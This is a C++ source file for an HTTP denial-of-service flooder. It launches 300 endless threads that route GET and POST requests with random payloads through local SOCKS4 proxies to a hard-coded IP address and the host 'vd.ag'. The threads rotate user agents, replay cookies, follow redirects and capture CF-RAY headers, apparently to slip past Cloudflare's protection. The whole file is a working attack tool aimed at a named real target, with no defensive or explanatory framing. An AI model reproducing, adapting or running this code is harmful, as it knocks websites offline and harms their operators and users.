#include <iostream>
#include <cstring>
#include <ctime>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>

using namespace std;

typedef struct socks4 {
    unsigned char version;
    unsigned char cmd;
    unsigned short port;
    unsigned int ip;
    unsigned char id;
} socks4;

struct arguments {
    int id;
};

int connection(const char* ip,int port) {
    int sock=socket(PF_INET,SOCK_STREAM,0);
    struct sockaddr_in addr;
    addr.sin_family=AF_INET;
    addr.sin_port=htons(port);
    addr.sin_addr.s_addr=inet_addr(ip);
    if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1) return -1;
    return sock;
}

char payloads[300][500];

void* dos(void* arg) {
    struct arguments* a=(struct arguments*)arg;
    int id=a->id;
    char cookie[300];
    char uagent[6][150]={"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3","Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)","Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7"};
    char ref[50];
    char ray[70];
    char path[30];
    sprintf(path,"%s","/");
    char ua[150];
    srand(time(NULL));
    sprintf(ua,"%s",uagent[id%5]);
    char buff[1500];
    char method[5];
    char headers[55];
    char data[500];
    while(1) {
        int sock=connection("127.0.0.1",7052+id%40);
        struct timeval tv;
        tv.tv_sec=5;
        setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv));
        bzero(&buff,sizeof(buff));
        socks4* socks4hdr=(socks4*)buff;
        socks4hdr->version=4;
        socks4hdr->cmd=1;
        socks4hdr->port=htons(80);
        socks4hdr->ip=inet_addr("104.24.99.125");
        socks4hdr->id=0;
        send(sock,buff,9,0);
        bzero(&buff,sizeof(buff));
        recv(sock,buff,sizeof(buff),0);
        if(buff[1]=='\x5a') {
            bzero(&buff,sizeof(buff));
            if((rand()%10)%2==0) {
                sprintf(method,"%s","GET");
                bzero(&headers,sizeof(headers));
                bzero(&data,sizeof(data));
            } else {
                sprintf(method,"%s","POST");
                snprintf(data,sizeof(data),"%s",payloads[rand()%300]);
                snprintf(headers,sizeof(headers),"Content-Type: text/plain\r\nContent-Length: %d\r\n",strlen(data));
            }
            sprintf(buff,"%s %s HTTP/1.1\r\nHost: vd.ag\r\n%s%s%s%sAccept: */*\r\nUser-Agent: %s\r\nConnection: Keep-Alive\r\n\r\n%s",method,path,headers,cookie,ref,ray,ua,data);
            printf("Posting %d\n",id);
            send(sock,buff,sizeof(buff),0);
            bzero(&ref,sizeof(ref));
            sprintf(path,"%s","/");
            bzero(&buff,sizeof(buff));
            recv(sock,buff,sizeof(buff),0);
            printf("%s\n",buff);
            char* found=strstr(buff,"Set-Cookie: ");
            if(found!=NULL) {
                snprintf(cookie,sizeof(cookie),"%s",buff+4+(int)(found-buff));
                found=strstr(cookie,"\r\n");
                if(found!=NULL) cookie[2+(int)(found-cookie)]='\x0';
                else { bzero(&cookie,sizeof(cookie)); printf("error(cookie)\n"); }
            }
            found=strstr(buff,"Location: ");
            if(found!=NULL) {
                snprintf(ref,sizeof(ref),"Referer: http://vd.ag%s\r\n",path);
                snprintf(path,sizeof(path),"%s",buff+10+(int)(found-buff));
                found=strstr(path,"\r\n");
                if(found!=NULL) {
                    path[(int)(found-path)]='\x0';
                    found=strstr(path,"vd.ag");
                    if(found!=NULL) { snprintf(path,sizeof(path),"%s",path+5+(int)(found-path)); }
                } else printf("error(location)\n");
            }
            found=strstr(buff,"CF-RAY: ");
            if(found!=NULL) {
                char ray_val[60];
                snprintf(ray_val,sizeof(ray_val),"%s",buff+8+(int)(found-buff));
                found=strstr(ray_val,"\r\n");
                if(found!=NULL) { ray_val[2+(int)(found-ray_val)]='\x0'; snprintf(ray,sizeof(ray),"RAY-ID: %s",ray_val); } else printf("error(cf-ray)\n");
            }
            found=strstr(buff,"HTTP/1.1 403");
            if(found!=NULL) {
                sprintf(path,"%s","/");
                bzero(&cookie,sizeof(cookie));
                bzero(&ref,sizeof(ref));
                bzero(&ray,sizeof(ray));
            }
        }
        close(sock);
    }
}

int main(int argc,char* argv[]) {
    for(int i=0;i<300;i++) {
        char buff[500];
        for(int j=0;j<500;j++) {
            buff[j]=rand()%256;
        }
        snprintf(payloads[i],sizeof(payloads[i]),"%s",buff);
    }
    int num=300;
    pthread_t threads[num];
    for(int i=0;i<num;i++) {
        struct arguments a;
        a.id=i;
        pthread_create(&threads[i],NULL,dos,(void*)&a);
    }
    for(int i=0;i<num;i++) pthread_join(threads[i],NULL);
    return 0;
}